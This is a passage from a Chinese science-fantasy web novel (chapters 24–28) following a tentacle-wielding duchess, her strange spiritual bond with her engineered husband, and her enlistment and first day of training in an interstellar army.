毫不犹豫伸手掐住楚岁宁的脸颊,微微用力晃了晃,看着楚岁宁的脑袋随着她的动作摇晃,席暮总算舒服了一些。
“那我等下去看部悲伤电影。”捂着脸,楚岁宁已经习惯了,甚至早有应对方法。
“可别!”席暮大惊,连忙制止,“你睡觉去吧。”
虽然楚岁宁不会哭泣,但悲伤的情绪就像是老式电视的坏了时的雪花屏,刺啦刺啦的,难听极了。
听过一次,绝不想再听第二次!
24. 第 24 章
这些所有都是楚岁宁曾时时感受的,只是席暮此时还不知道这些。
将楚岁宁打发了之后,席暮终于得到了一时的安宁。
长舒了口气,席暮决心解决这个奇怪的印记带来的麻烦,为别人的情绪困扰,席暮不喜欢。
但,该怎么做?
沉睡的楚岁宁可以说是屏蔽了一切外界感知。就像此刻,席暮站在床边,捏住他的手腕查看那个印记,躺着的那个就一点反应没有。
既然这个精神力是她主动输入的,那能不能收回?这是席暮第一个尝试。
普通的尝试必然不行,经过思考,席暮用触手卷起楚岁宁,探出精神力通过触手去感知。
眼前的世界仿佛变了个模样,没有生命的物体全部褪色成黑白,有生命的个体全部沦为了色块。
蓝紫色勾勒出楚岁宁的轮廓,而在这团蓝紫色中,一抹红色就格外显眼了。
真的有用!
喜色漫上心扉,席暮勾起唇角,操纵精神力接近了那抹红。
可以感觉到她和那抹红存在联系,但就像触手格外青睐楚岁宁一样,这抹红色不愿离去。
席暮不理解,但她想一定有原因。于是她的视线转向了楚岁宁的心脏处,那里是颜色最浓郁的地方,也是令触手最蠢蠢欲动的地方。
精神力一路翻山越岭,然后被困在了心脏处的屏障外,席暮挑着眉加大了精神力的输入。
“唔!”一声奇怪的闷哼声传入耳朵,席暮有些别扭,但此刻的胜负欲占了上头,席暮一鼓作气势如破竹碾碎了那处屏障。
精神力一头扎进了浓郁的紫色中。
而在特殊视野之外,一根细长的触手刺入了楚岁宁的心脏,后者脸上顿时浮现痛楚。这副场景更像是谋杀现场。
身体被柔软包裹,浑身的毛孔在这一刻全部打开,疯狂吸纳着来自外界温暖的能量。在最初的不适之后,剩下的唯有宁静。
席暮被这宁静吸引,不自觉深入,再深入,在某一刻,席暮猛地睁眼收回了精神力!
“呼……”大口喘息着,席暮终于发现了她正在谋杀楚岁宁这一事情。
确认楚岁宁无恙后,席暮放下心。原本此时她应该放下楚岁宁,回自己的房间,但经过刚才的奇妙体验,席暮承认,她有些上瘾了。
“难道每次触手在接触平安时都是这种感受吗?”
怪不得触手拼命想要接触平安呢……这么爽?!
那以前触手趁她睡着把平安塞她怀里那些时候,她不就错过了这些感受?席暮啧了声,感觉亏了。
感知到她此刻的心情,触手十分得意,但很快,就有一根触手引着席暮去看楚岁宁的手腕。
“印记消失了?”席暮愕然,“难道说我刚才之所以能那种感受,和这个印记还有关系?”
触手比了个对勾。
“也就是说,我之后无法继续体验了?”
触手点头。
席暮若有所思,这才放下楚岁宁,离开了。
只是席暮没能看见,在她离开后,楚岁宁突然睁开了眼睛,那双眼中没有神智,一团混沌。
熟悉的气息,精神力分析中,分析完成,身份匹配成功。
恭喜一号胚体,你已成功找到‘母亲’,即将对身体进行适应改造,请务必成为‘母亲’最优秀的子嗣!
熟悉的声音穿过时间再次在耳边响起,唤醒了尚在恍惚中的楚岁宁诞生之初便被刻在基因里的任务。
而后,一切异常褪去,那双眼眸逐渐恢复了清明。
“嗯?我怎么起来了?”楚岁宁疑惑环顾四周,他没有梦游的习惯啊,怎么会站在这里,但很快,从四周涌来的熟悉情绪再次将他淹没,楚岁宁再难思考这些小事。
“母亲!”第二天见到席暮后,楚岁宁脱口而出这个称呼。
他本人此时的表情比席暮还要错愕。
席暮咬了口吐司,斜睨了他一眼,有之前做铺垫她居然没感觉很奇怪,“睡糊涂了?”
“对不起公爵,是有些糊涂了。”挠着脑袋,楚岁宁有些不好意思地扬起笑。
“行了,吃早餐吧。”席暮还不至于因为一个称呼生气,她晃了晃手中的吐司,“我今天要去军中报道,回来应该会很晚。你可以提前收拾一下。”
报道结束之后,她应该就要住进军队安排的宿舍了。
毕竟‘启明军’的驻地在西塔星,买房子可以但是没必要。
“好。”楚岁宁精神一振,新的星球会是什么样的呢?真好奇啊。
而且到了新星球之后就只有他和公爵两个人了,没有其他人打扰,他努努力做公爵更称职的孩子,是不是就可以……
咀嚼的动作一顿,楚岁宁瞪大了眼睛,他刚刚在想什么?!
席暮看着莫名其妙开始晃脑袋的楚岁宁,抬手按住,“这是要把脑袋里的水晃掉?”
“嗯!”
没想到楚岁宁非常认真地点了头,十分赞同的样子。
席暮一时语塞。
“行了,别把自己晃的更傻了就行。”
“好吧。”楚岁宁觉得他应该是被最近哪本书影响了,所以才产生了奇奇怪怪的想法。嗯,得换本书看了。
吃过早饭,席暮和楚岁宁一起出门。
“月盈草的成熟期就在这几天了?”
“是的,等
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我今天进行最后的培育后,十天后就能成熟。不过,十天后会有专人去收割,公爵不用担心我的离开会对月盈草产生影响。”
席暮担心吗?丝毫不担心,月盈草对她来说又不是什么必要的东西。
“只是在想在月盈草收获前,陛下会不会让你离开首都星。”
楚岁宁反倒笑了,“公爵放心,因为有公爵在。”
“你知道我是来监视你的?”席暮侧过脑袋,看楚岁宁的眼神里有欣赏。
“毕竟公爵不是第一个。”也只有公爵之前以为他不聪明而已,楚岁宁想,“陛下认为我是有害的。”
想起来了,宿初夏是说过这话来着,席暮从记忆力扒拉出了当时的对话,突然来了兴致,“她说你会影响周围的人?我怎么没有感觉?”
“陛下说的是那些来监视我的人吗?只不过是一些小小的药物作用,放大了情绪。”楚岁宁笑得有些羞涩,颊边的酒窝格外引人注目,“母亲比我更讨厌这些人,所以她才做了这些。”
“是楚沛白做的?”席暮不信,“跟你没关系?”
楚岁宁表情没有任何变化,“跟我没有关系。”
他是可以抽离人的情感,但楚岁宁从没有对人动用过这个能力,会死人的。
“那我相信你。”说到底席暮不是真的关心,只是好奇心上来了顺便问一嘴,所以此刻信任的话也就脱口而出。
楚岁宁眼睛一亮,“公爵你真好。”
坦然接受了称赞,将楚岁宁送到目的地,飞行器拐了个弯朝着军部疾驰而去。
“请出示身份证明。”
手腕在扫描器上一碰,身份审核通过,但军部内禁止外来飞行器行驶,席暮只能步行。
这些天也来过不少次了,席暮轻车熟路,脚步慢悠悠的,和一旁的军人形成了鲜明对比。
“席准尉,希望你下次能够提前到达,没有让上司等待你的规矩。”
在这里,公爵身份没有任何作用,自然不会有任何优待。反而,这个身份还会为席暮带来一些偏见。
就比如此刻,站在席暮面前的,她的直系上司,卫炽春。
卫炽春看向她的目光中是毫不掩饰的不满,或许是因为等了她有一会了。
“抱歉,既然规定时间是十点,那我想我没有违反规矩,是合理的。”
卫炽春冷眼上下扫视着席暮,大声呵斥,“在军中,回答问题请加上报告!还有,禁止顶撞上司!”
“报告,请问是哪一条军规规定!我一定好好牢记军规!”
“……”卫炽春不说话了。
席暮笑了,那副嚣张的样子让卫炽春看她更不满了。
25. 第 25 章
只是卫炽春的情绪对于席暮而言没有半点影响,军规军纪,席暮自然是懂的,只是刚进门时卫炽春的态度席暮不喜欢,所以态度也好不到哪里去。现在卫炽春不高兴了,席暮心情却美妙。
瞄了眼卫炽春的肩章,席暮侧头行了个并不标准的军礼,“报告上尉,请问我们可以开始了吗?”
今天是一堂培训课,主要是介绍‘启明军’内的具体情况,本该和新兵一起参加,只是席暮的后台硬,所以有了个单独培训的机会。
卫炽春咬紧了牙关,在心里默念了好几遍她陛下特许进入‘启明军’的关系户!这才勉强把心里那口气压了回去。打开做好的课件,卫炽春虽然不喜欢这种关系户,但只要进入了启明军,就是启明军的一份子,就要尽心负责。
“首先,是军纪。”指着课件上的图片,卫炽春解释道,“启明军有着自己的特殊纪律。第一,凡值外勤者必须穿戴此类防护服。该防护服沉重、透气性差,但若是敢不穿或者偷偷遗漏某个部件,视作严重违纪。至于严重违纪的后果,稍后会有具体说明。”
“第二,启明军内有三大禁止入内空间,见此标志止步,非上将、元帅或陛下亲自准许,最好连视线都别投过去。违反此项者,就地枪毙。”
“第三,”卫炽春的声音顿了下,表情有些微的不自在,“军中禁止谈论任何有关初黎大人的坏话!”
“咳咳咳……”这突然的大转折直接震惊到了席暮,下意识咳嗽起来,开口时都显得难以置信,“这是第三点?初黎是那位救世主吗?”
“请以尊称称呼大人!”卫炽春瞪了眼席暮,“正是那位大人!”
“……”这是军队还是什么粉丝群啊!席暮在心里吐槽了一句,还有,人都死多久了,被说坏话她又听不到,“咱们元帅是初黎大人的崇拜者?”
“与你无关!你只要谨记这条军规即可!”卫炽春匆匆将这个话题跳过,接着向下讲去。这其中包含了席暮在军中的职位,以及负责部分。不出席暮所料,她被分到了一个后方部门——后勤装备处。
还好不是炊事班,席暮想,不然她得拎着厨具打架了。
“最后,前往西塔的航线将于三日后出发,请准时抵达,过时不候。希望席准尉注意!”课程结束,卫炽春立刻准备走人,却没曾想席暮堵在了门口。
“席准尉这是准备做些什么?”卫炽春抬眼看向席暮,眼神冰冷。
席暮举起双手,“抱歉上尉,只是还有一个问题想问。”
“说。”
“后勤装备处的可以上战场直面异种吗?”当初过任务的时候虽然艰难,但是实打实痛扁异种时还是很爽的,席暮摩拳擦掌,她的异能现在就跟荒废了一样,她还有些怀念当初大火烤异种的感觉。
卫炽春眼神有些变化,看席暮时稍微正视了些,“自然可以。只要你有能力,军中绝对会给你机会,前提是,真的有能力。”
最后几个字被加重了语气,很显然,她被怀疑了。
耸了耸肩,席暮让开了地方,目送着卫炽春离去。目前,启明军给她的感觉不错,席暮都已经做好心理准备,毕竟介绍里说了太多‘空降军’加入,但现在看来,那些人在军中应该掀不起什么风浪。唯一的问题,自己不会一过去就迅速被划分了阵营吧?
离去时间已定,宿初夏也只丢了几条信息过来,席暮便有了三天假期。
“公爵,这些能带过去吗?”智能管家在收拾东西,楚岁宁在一旁指点,席暮坐在沙发上喝茶,顺便看楚岁宁瞎忙活。
“能。”注意事项都已经告知了智能管家,什么能带什么不能带它比人都清楚,所以现在楚岁宁能看到的都是经过准许的,楚岁宁明明也知道这点,不知为什么还要再问一遍。
有关月盈草的一切都已经就绪,不会有任何出问题的可能了。而且据楚岁宁所说,在月盈草最后的成熟期,他是不能接近的。所以,现在的楚岁宁很闲。
大概比较闲的人就喜欢找话题?席暮端着茶杯,思绪发散。自上次楚岁宁陷入莫名晕厥醒来到现在,他的一些认知还没有恢复正常,但是性格和以前没什么区别,有种诡异的矛盾感。
偶尔席暮觉得他就像心智没有成熟,神态语气都带着稚气,和他的外表不符,但偶尔,席暮也能感觉到他突然的成熟,像是换了个人。也正因此,席暮很难将他真正看成孩子,她在结婚前签下的协议好像跟养崽没有了任何关系。
其实席暮有些郁闷,她想再养个崽,但没有游戏系统推荐,她没有办法提前了解具体情况,席暮不想去自己碰运气。毕竟经由游戏系统公布出来的,别说性格如何,至少自小到大长相可以保证。
唉,席暮叹息,再次感慨,要是楚岁宁能变回幼年时期就好了,那时候是真可爱啊!当初席暮一直无法从剧情中找到人时,差一点就要换人选了,要不是那个长相一直勾着她,恐怕现在这一切都不会发生了……
“公爵?”楚岁宁不知何时坐到了席暮旁边,手里拿着特调的饮料,好奇开口,“公爵在想什么?好像有些烦恼?”
是啊,在烦恼怎么把你变成小孩子,席暮在心里接了句,但面上她表情不变,睁眼说瞎话,“嗯,在烦恼军中生活。那里禁止管家存在,一切都要我们自己动手。”
“我可以做!”楚岁宁立刻举手,不知道为什么他有些兴奋,“到时候需要我做什么都可以。”
说着,楚岁宁当真开始数起来,“衣物清洁?房间卫生?三餐?还有什么吗?”
越说越起劲,感觉下一秒就会撸起袖子直接干活了。席暮捂着嘴将笑意遮掩,只看眼睛还以为她多严肃,顺着楚岁宁的话点头,席暮煞有其事地道,“在军中
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训练后我一定疲累,到时候还需要给我按摩。军中还有其他家属,少不了来往,沟通技巧也不能落下。”
楚岁宁觉得非常有道理,打开光脑一顿搜索后往自己的书单里又加了一堆。
“最重要的是,万一军中有人看我不顺眼,利用职位欺压我,我又实力不够,打不过她。唉,这该如何是好。”装模作样地发出声叹息,席暮的表情也格外担忧。
放下光脑,楚岁宁无语,公爵你身上的快乐都要跳出来唱一曲了好吗!!!
“我觉得,应该没有公爵打不过的人。”楚岁宁说的是真话,席暮的‘情绪’从未有过害怕恐惧,再加上那些触手,楚岁宁虽然没真切见过席暮动手,但对她的实力十分肯定。
这话楚岁宁敢说,席暮都不敢应。
“这么相信我?”席暮再不遮掩笑意,“也不怕我被人暴打。”
“可是公爵看上去更自信诶。”楚岁宁可不上套,没有被席暮带着走,他要是没闻错,公爵现在还有些得意呢。
席暮摸了摸鼻子,人嘛,谁还没点耍帅心思。想当初,那个在游戏内异能都得靠玩家自己开发的时候,席暮硬是靠各种游戏内资料,给自己整了套酷炫的大招。现在回想,简直难以入目。
但试问,当年席暮的‘殒火’谁印象不深,就是现在的星际世界,关于救世主初黎的异能谁提起来不敬佩不羡慕?
“行了,不开玩笑了。但有一点,你对外的形象关乎我,所以这方面你确实需要学习。”
“我知道的公爵。”楚岁宁看上去十分斗志昂扬,“我一定不会给公爵丢脸!”
伸手弹了下他的额头,席暮挥手,“倒也不至于过分重视。总之就一句话,别人好说话,你就也好好说话,要是别人不客气,你也不用顾忌什么。”
说到这,席暮想起来了,“你能打架吗?”
这细胳膊细腿的,异能又跟战斗没什么关系,别到时候说句狠话一下就被人撂倒了。但军中又不允许私自佩戴武器,“我得想个办法给你找点合规装备。”
楚岁宁没有出声拒绝,按照星际法律来说,他现在和公爵就是一体,所以想通过他去打击公爵也很有可能。而且,公爵说的对,他不会打架,他谁都打不过。
说找就找,席暮立刻就去翻资料去了,想看看能否从那条纪律中钻了漏子。
在此时,触手钻出来给出了建议,如果把它放在楚岁宁身上,它可以保护楚岁宁!席暮一把将它按了回去,开玩笑,一旦被发现,那原本可能只是被打,现在就是直接枪毙了。
触手怨念满满,明明之前它们偷偷摸摸好处多多,可现在呢,什么都得不到,它们饿!抗议再次被驳回后,触手们缩进精神空间,悄摸摸打着小算盘。
最近,楚岁宁身上的能量波动格外剧烈,触手们在那波动中嗅到了机会。
26. 第 26 章
只是没等席暮找到什么有用的,宿初夏先一步派人送了东西过来。那是一个特制的手环,通体呈红色,缀以黑色的花纹。在席暮看来,那些黑色花纹连在一起像是什么特殊字符,给人一种不舒服的感觉。
“席卿,不佩戴此手环楚岁宁不允许进入军中。”随手环而来的是这样的话。
掂量着手环,席暮直接将其戴到了自己手上,手腕晃动了几下,没有什么特殊感觉,也能轻易取下。然后席暮才让楚岁宁试试,奇怪的神情在他的脸上显现,那是一种混杂了惊叹和疑惑的表情。
“有什么感觉吗?”试着取下手环,和刚才不同,在楚岁宁手腕上后,轻易取不下。
“这个手环限制了我的精神力调用。”像是一个枷锁将他的精神力海束缚起来,应该是为了限制他的异能,这是楚岁宁惊叹之处,宿初夏对他的戒备超乎他的想象,于是楚岁宁就更加疑惑了。既然能看出他的异常,那为什么还会觉得他的特殊之处仅仅与精神力有关呢?
席暮的眉眼阴沉了几分,她将宿初夏的这个行为视为对她的不信任,一种挑衅。而且限制了精神力,想要找可以自卫的武器就更难了。
所以下一刻,席暮直接拨通了宿初夏的通讯,“陛下。”
“席卿是为了那手环找我?”宿初夏正在埋头处理政事,席暮只能听见声音却看不见画面,“那我的回答只有一个,必须戴上。”
“那么陛下,他必须拥有一件可以保护他的武器。”
宿初夏动作停住,抬眼看向投映在半空中的画面,席暮双手环胸表情淡淡地站在那,说话时甚至连眼皮都没抬一下,在她身上完全看不到对她的敬畏。就连语气都是这么肆意。
“我已经在军中为他安排了特殊护卫,等你过去了,一切权限移交给你。”那些想法在宿初夏心里只停留了不到一秒,她迅速恢复状态继续投身待处理事项中,“一切到此为止。”
通讯挂断,席暮只能将注意力放在楚岁宁身上,“你身上的异能究竟是从什么异种上得来的,会被如此忌惮。”
不过她并不是询问的语气,既然席暮知道原因,至少这个原因不会影响她,她愿意尊重每个人的秘密。说出这句话,只是席暮多多少少有些好奇,但转念一想,异种以强者为尊,就算同样的能力也会分出强弱,问这个也没有什么意义。
“你和异种的能力格外契合?”这才是席暮想问的。
楚岁宁明显犹豫起来,嘴唇抿起,好一会才点头。这已经距离他最终秘密就差一步了,公爵这么聪明,就是立刻猜出来他也不意外。
当初游戏设定里是不是有一个设定相关来着……有些记不清了,退游之后席暮就把有关游戏一切都删了,时间也挺久的,手指抵着下巴,席暮好半天才想起一些蛛丝马迹,她记得,地星之所以会被外星文明入侵,是因为地星上存在着特殊的吸引它们的生命体,而这种生命体有着十分特殊的适应性……
但这个设定随着剧情推进存在感就越弱,席暮一度以为这是什么无关设定,但现在看来,这就是所谓的后续剧情的一个伏笔?
“除了和异种能力契合,你对异种是不是有很强适应性?”席暮有些蠢蠢欲动,背后的触手第一次因为她的想法伸出,探向楚岁宁,“对异种本体呢?”
本该是蓬勃的探索味道,此时却蒙上了一层冰冷,楚岁宁却毫无察觉一般递出了手臂,任由触手缠上他的手臂,就像猎物主动跳进了捕食者的陷阱中,还无所察觉。
“公爵要试试吗?”如果公爵要将触手种进他的体内,那算不算是为公爵培育了生命?荒诞的想法冒出,楚岁宁下意识缩了下手臂,然后就感受到了手臂上骤然收紧的力道。
“害怕还敢这么说?”席暮赶紧收回了自己危险的想法,还是把这里当游戏了,有点什么想法都想试试。这可不行啊席暮,你现在就在游戏里,这里就是真实世界。
欲收回触手的席暮,却在下一刻感受到了挽留的力道,定睛一看,楚岁宁拽住了那根缠住他的触手。
“嗯?”
“公爵试试吧。”
疯了吧……席暮低声骂了句,却不知道为什么没有真的收回触手,四目相对,席暮挑眉,“认真的?为什么?”
抬手摸上自己的心脏,那里久违地传来了什么情绪,迷惘在这一刻被惊喜取代,楚岁宁抬起头,借着触手用力向前走了几步,“刚才听到公爵的想法,这里很激动。”
指着自己的心脏,楚岁宁眼睛越发明亮,“所以试一试吧公爵。”
之前像是傻子,现在像疯子。席暮拨动着长发,脚尖点着地面,发出有规律的轻响,她还在犹豫。
明明知道这一刻的情绪不对,但楚岁宁视而不见,他只专注于那点细微的变化,见席暮犹豫不决,楚岁宁扭头像书桌旁跑了几步,在席暮错愕的目光中拿起书桌上锐利的匕首在手腕上狠狠来了一刀。
奇异的香气瞬间就吸引了席暮,瞳孔收缩着,席暮向前走了几步,触手更是嗖的就窜上前,将那处溢出鲜血的伤口仅仅裹住,贪婪吮吸着血液。
吞咽着口水,席暮居然也产生了饥渴感,她一把扯开触手,将楚岁宁的手臂扯向嘴边,但此时那处伤口已经因为触手的贪婪停止了流血。
“公爵,试一试吧。”一模一样的语气,甚至连语调都没变化,席暮维持低头的姿势,不知道为什么还有些想笑,她也真的发出了一声轻笑。
“好,那就试一试。不过,从哪里开始?”让触手沿着伤口钻进去?太血腥了,席暮不喜欢。
脑中有声音让楚岁宁指向自己的腹部,但楚岁宁毫不犹豫指向了心脏,“刺入这里就好。”
穿透皮肤,刺穿骨骼,触手陷入了一片温热中,近距离的接触也让席暮听清楚了那比常人更缓慢的心跳声,一声又一声,扑通、扑通……
比之前体验过的要汹涌百倍的能量骤然涌入,席暮一时竟有些飘飘然。而且和之前不同,这一次楚岁宁是清醒的,席暮也不用担心犯下杀/人的罪行。
不见有一滴血液留下,楚岁宁的表情也格外平静,席暮伸手掐了掐他的脸,“你都
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不痛吗?”
“公爵明明有刻意控制不是吗?”楚岁宁双手垂在身旁,竟然就这么闭上了眼睛,“一点都不疼,我觉得可以一直这样。”
此刻心脏里涌动着的是名为渴望的情感,它在渴望着某种东西的灌入,这并不是楚岁宁自然诞生的情感,但却让楚岁宁体会到了,那么,满足它们的渴求也不是不可以,“或者公爵,试着刺入这里呢?”
这一次,楚岁宁指的是腹部。
毫不客气弹了他一个脑瓜崩,席暮果断收回了触手,楚岁宁的身体也随之晃了晃,“真不怕自己失血过多,去睡觉吧你。”
“那公爵,祝你也有个好梦。”
这一晚的确是一个美好的梦,睡梦中不仅没有任何不好的杂音,还像是陷入了一汪温暖的水波中,在那轻轻的荡漾下,轻松惬意,一切美好情绪都涌了上来。
这样的好情绪一直维持到了离开首都星那天。
天朗气清,又是一个好天气,连气温都刚刚好。席暮领着楚岁宁悄然滑入了人群中,换上了军装,将长发挽起塞入帽中,基本没有人能认出她是谁。
除了楚岁宁偶尔会吸引他人的目光外,他们就跟其他即将入伍的军人没有什么不同。
“嘿,姐妹,这是你弟弟吗?”刚坐稳,旁边就有人上来搭讪,虽然是在问席暮,但眼睛却是直勾勾盯着楚岁宁,“男性参军,很少见啊,一定很强吧。”
语气里只能听出对强者的挑战欲望,席暮看向来者,一头金色的短发在空气中张扬着,挺拔充满了力量感的身体,那双翠绿的眼中是燃烧的挑战欲。
“随军家属。”席暮将昏昏欲睡的楚岁宁往里面的座位塞了塞,甫一开口就打破了来者的幻想。
斐丝丽啧了声,难以置信打量了一番席暮,“年纪轻轻就结婚了?”
但下一刻,熟悉的火焰再度燃烧,“我记得,能让家属随军的必须有着特殊贡献。那你一定很厉害!”
“是。”席暮坦然应了,她不陌生眼前少女的神情,于是她勾起唇,“哪支部队的?要是军规允许可以约一架。”
“好!”斐丝丽激动拍手,对席暮越发欣赏了,“远征军第18小队。你呢?”
“启明军。”
远征军和启明军联合作战,所以两军指挥部有一部分是重合的,这也意味着斐丝丽完全可以跨军去找席暮,斐丝丽更加激动,“等新兵训练结束,我就去问教官能不能找你约架。”
“那我等你。”
斐丝丽走了,楚岁宁揉着眼睛探头看了眼她的背影,“公爵,你是在逗她吗?”
那天结束后的第二天,楚岁宁就又恢复了以往那种乖乖的傻傻的样子,仿佛一切都没发生过。席暮还以为人失忆了,一问,记得一清二楚,而且他对于席暮的问题还疑惑,这么大的事他怎么会忘。至于性格变化什么的,楚岁宁无辜眨眼,【有吗‘0’】
席暮就懒得问更多了。
至于现在,楚岁宁自然是闻到了席暮身上那‘邪恶’的情绪。席暮耸了耸肩,不再说话。
27. 第 27 章
这班航线将途径四个星球,最终目的地为西塔,每抵达一个星球就会离开一批人,成为此星球驻军的一份子。等到西塔时,这艘航舰上就只剩下不到百人。而经过一路的了解,大家对各自的归属基本有了了解,也因此,座位之间也渐渐有了清晰的分界线。
席暮和楚岁宁就坐在这条分界线上,介于楚岁宁家属身份,居然也没人说什么。
“诸位!”星舰即将入港,四周的光线渐暗,突然,有人走到了空处,拍着双手吸引了众人的注意,等到所有人都朝她看去时,那人露出了早早练习好的笑容,“不知道大家有没有听过军事大比这一比赛?”
很显然,她是想提前拉拢一拨人,好在那所谓的军事大比中取得一定的支持,只可惜,在昏暗的光线下,她那明艳的笑容有些难以被看见,她说的话也并无多少人应和。
“军事大比,就是指……”她笑容一滞,险些维持不下去,但还想再挣扎一下,刚出口准备接着说就被打断了。
“好了,真当这一星舰的人什么都不懂,回去坐好得了。”斐丝丽手臂一挥,不耐烦极了,见人还不走,语气越发不好,“你这些话对别的地方的人说说还能被当回事,你看看现在有人理你吗?”
“你!”虽然笑容看不见,但她此时脸上的难堪却是不少人看见了,低笑声骤然响起又消失。
“什么是军事大比?”一阵尴尬中,席暮忽然举起手,楚岁宁紧随其后。
那人顿时朝席暮投来一个感激的眼神,然后迅速坐到了席暮身边,开口解释,“所谓军事大比,就是目前所有军队的新兵之间的一场比赛,分为个人战力、团队协作,每个人以积分排名,最终积分排名前十会去参加最后的特殊赛,最终胜利的那位,就是当之无愧的‘新人王’。”
撑着下巴,席暮听得津津有味,这个大比有点像当初她和几个伙伴聊天时提起的,当时她在现实世界看了好几部军旅剧,本想取取经,结果看到这个比赛形式觉得很有意思,所以也分享给了游戏里的伙伴。没想到,现在居然真的有这样的比赛。
“听起来很有意思。所以你是想提前结盟以应对团队协作那一关?”
“是啊,我们来自同一个地方,又一起乘坐了这么久的星舰,是天然的同盟。没想到……”
“呵。”旁边传来了一声嘲讽的笑,引得人怒目回视,而罪魁祸首斐丝丽却一点不在乎,“你也不想想,最后的新人王只能有一个,毫无疑问的个人战,怎么可能有人这么轻易就被你说动。”
“但团队协作的加分绝不弱于个人表现!”
“那也得再熟悉之后才能判断。现在能被说动不是蠢货就是别有所图!”斐丝丽懒得和笨蛋说话,下巴一抬,“喂,你,有没有兴趣和我比一比?”
“不是约了之后打一架吗?”
斐丝丽表情急剧变化,最后一脸恼怒,“你真以为我不知道你在糊弄我?!连名字都没告诉我,到时候人都找不到!”
“噗……”
“!!!”斐丝丽瞪向偷笑的人,“你,就是你,你叫什么?!”
“唐珂水。”刚才被斐丝丽好一顿说,唐珂水早就憋了一肚子气,好不容易看斐丝丽吃瘪,她都高兴坏了,“我认识你,你是斐丝丽。”
两个人对彼此的名字应该都不陌生,报出名字后,斐丝丽表情也收敛了些。
“所以,你到底叫什么名字!”
现在说出来吓她们一跳还是等后面?坏心思就这么起来了,席暮笑着扫了两人一眼,“你们应该认识我。”
“啧,说个名字而已,磨磨蹭蹭的。”斐丝丽叉着腰,一脸不爽,“你以为你是谁?”
“席暮。”
“……”斐丝丽表情僵住,“……”
“席暮公爵?!”唐珂水捂着嘴瞪大了眼睛,和她母亲同为公爵的那个席暮公爵,等等,席暮公爵确实已经结婚,结婚对象是楚家那个很少出来见人的小少爷,唐珂水目光落到了楚岁宁身上,这就是那个她母亲让她离得远远的楚岁宁?!
猛不丁和楚岁宁对上视线,唐珂水瞳孔一震,眼神开始四处乱晃。
“你、你、你不是新兵?!”涨红了脸,斐丝丽最后只能憋出这么一句话,可恶,明明看起来就跟她差不多大,居然,居然在辈分上大她一轮。
“嗯,怎么不算新兵?”看她们各有特色的表情果然令人心情愉悦,席暮笑意盈盈,几个人都能听出她声音的愉悦。
拳头已经握紧了,但是不敢挥出去,斐丝丽深吸了口气,转身就走。
很快,星舰彻底入港,目的地到了。
和首都星的风和日丽不同,西塔的环境明显恶劣了很多。带着刺骨寒意的冷风切割者众人的皮肤,很快便有人升起了护罩,护罩一经展开便迅速贴合身体曲线逐渐化为透明,看不出异常又拦住了一切寒意。
“嗞…嗞…”只是这刚展开的护罩没能坚持一会,在几声轻响之后,彻底消散。这些人身体才温暖起来就陡然再度接触冷风,身体不由自主抖了抖。
“欢迎来到西塔。在这里,一切会改善你体验的用具全都禁止使用!西塔内磁场特殊,在经过改造后,正常普通的信号无法接收。现在,立刻上前按序领取你们的专属光脑。在西塔,专属光脑就是你的一切!若有遗失,无论是谁,全都以奸细处理!”
“所有新兵立刻这边组队!”
短暂的混乱之后,这几十人迅速找到了自己的位置,列成了两队。
于是,此时单出来的席暮和楚岁宁就格外显眼了。
楚攸先是皱眉,随后想起来了,立刻让副官带着席暮离开了。
“刚才那个人公爵认识?”楚岁宁看着席暮脸上那若有所思的表情,询问道。
“有点像一位故人。”席暮一边走一边想,刚才那位和她记忆中那位伙伴长的几乎一模一样,但她记得她的那位伙伴离世时并无后代留下。
“那等后面再见了公爵可以问一问,说不定还能再见故人?”
回过神来,席暮哑然失笑,再见故人?她倒是无所谓,就怕故人受不了这刺激
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“好了,这些都不重要。”到达目的地,推开分配的宿舍门,席暮眼中露出满意,“眼前的住处才是最重要的。”
分配给她的宿舍是独立的一间,旁边没有邻居,空间很大,四室一厅,两间卧室、一间书房,甚至还包含一间训练室。
家具什么的一应俱全,拎包入住即可。
“你住这间?”席暮指着书房旁的那间问楚岁宁,她更喜欢训练室旁边那间,更大不说,也更方便训练。
“好。”楚岁宁点着头,推着行李就往房间内走,“不过公爵,你晚上不需要我吗?”
席暮眼皮一跳,“嗯?”
楚岁宁点了点心脏,看上去很迫不及待,“那天的感觉很好,公爵也是这么觉得吧?”
“……”捂着脑袋发出了一声长叹,席暮揉着太阳穴,竟然有些不知道该怎么回复。
“你去睡觉吧。”末了,席暮也只能催楚岁宁去睡觉。
“公爵。”谁曾想这个向来管用的提议居然没能吸引楚岁宁,反而让他丢下手中东西走到了席暮身边。
“我很喜欢,我想继续。”担心席暮不再继续,楚岁宁急得甚至上手揪住了席暮的衣角。
“不方便。”席暮打定主意不让触手离开精神空间一步。
“不需要它们的,公爵自己就可以继续。”重要的是公爵的精神力,而不是触手。这是楚岁宁最近才明白没多久的,只要公爵的精神力注入他的心脏,他的心跳就会出现波动,他就能体会到那些不一样的感觉。
“精神力,我需要公爵的精神力。”
“越说越离谱。”触手席暮还能理解,但精神力是什么?
作为人体最精密最特殊的器官——大脑,神秘的面纱至今未能彻底揭开,而诞生自大脑中的精神力更是复杂。
无论对谁而言,精神力都可以说是私密的存在。
一个人需要另一个人的精神力,楚岁宁敢说席暮都不敢听。
“好了,到此为止。”比了个停的动作,席暮推着楚岁宁往房间里走,“精神力注入你的心脏,你的心跳会直接停止波动知道吗?”
感受到了席暮的坚决,楚岁宁撇了撇嘴,不情愿应下了席暮所说的话。
整理好军装,戴好肩章,席暮将会和那些新兵会和,一起度过为期一个月‘军队初体验’训练。
反正刚才给她介绍的那位副官,在说起这段的时候笑得很开心。
“报告,席暮前来报道!”
卫炽春撩起眼皮,还算满意席暮的精神状态,“肩章去了。之后的一个月,你不是什么准尉,就是一个啥也不是的菜鸟懂吗?”
“是。”迅速撕下肩章,旁边立刻有人接过。
“好,归队吧。”
虽然独身一人的席暮有些显眼,但也并非唯一,也因此,除了和她同时来的那些人之外,并没有多少人真的关注她。
熟悉的感觉,虽然没有表情,但席暮眼中却怀念,那就让她看看这百年后的军队都变成什么样了吧。
28. 第 28 章
没有什么训话甚至没有人对她们说一句话,这一批新兵被直接带到了训练区。
跨过界线后,肩膀便是一沉,在耳畔的不是轻柔的微风,而是低沉的、咆哮着的攻击。
不少人摇摇晃晃,连站立都十分困难。
“十公里负重跑。”
负重?没有人身上有负重,但不等这个疑惑蔓延,手腕上的光脑便自动亮起了红色的光,下一刻,所有人背上就多了将近二十斤的重量。
“所有人,听我口令,三、二、一!开始!”
席暮第一个窜出,咆哮着的风被精神力劈开从身侧略过,步伐稳定且快速。
